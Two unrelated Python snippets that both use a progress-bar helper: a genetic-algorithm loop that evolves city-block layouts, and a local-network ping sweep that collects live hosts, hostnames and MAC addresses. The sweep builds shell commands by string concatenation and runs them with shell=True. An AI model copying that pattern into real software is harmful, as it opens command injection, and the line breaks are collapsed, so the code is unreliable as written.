final_blocks = np.zeros((block_size*grid_size,block_size*grid_size )) for column_blocks in range(grid_size): for row_blocks in range(grid_size): print('THIS IS BLOCK #:', row_blocks) # Create New Population ################################# #print('NEW POPULATION!') population_matrix = create_cities(population_size, block_size, building_types) #Creates new block. # Evaluation of First Population ######################## evaluation_vector = evaluate_cities(population_matrix, population_size, distance_table) #START OF GENERATON LOOP ################################################################################################################ printProgressBar(0, population_size, prefix = 'Generation Progress:', suffix = 'Complete', length = 50) for generation in range(0, generations): #Selection selected_matrix = select_cities_rough(evaluation_vector, population_matrix, population_size, block_size,best_found_indiv,best_found_evaluation) #selected_matrix = select_cities_tournament(evaluation_vector, population_matrix, population_size, block_size,tournament_individuals) #Cross crossed_population_matrix = cross_individuals(selected_matrix, cross_probability, population_size, block_size) #Mutation mutateded_population_matrix = mutate_individuals(crossed_population_matrix, mutation_prob, population_size, block_size, building_types) # Evaluation of Population evaluation_vector = evaluate_cities(mutateded_population_matrix, population_size, distance_table)
ip = ip[:-len(first)] j = 0 macAddresses = [] hostUp = [] hostNames = [] print('\n') for i in range(int(first), int(Range)): ip2 = ip + str(i) mac = 'None' hostName = 'None' cmd = "ping -c 1 -w 0.1 " + ip2 j += 1 msg = "Scanning network " pbar.printProgressBar(j,int(Range)-int(first), prefix = msg,\ suffix = 'Complete',length = 30) try: host = str(subprocess.check_output(cmd, shell=True)) if "1 received" in host: hostUp.append(ip2) cmd = "host " + ip2 hostName = str(subprocess.check_output( cmd, shell=True)).split(" ")[-1].split(".")[0] for arp in arp_table: if hostName in arp: mac = re.findall('\S+:\S+', arp) hostNames.append(hostName) macAddresses.append(mac[0]) except Exception: pass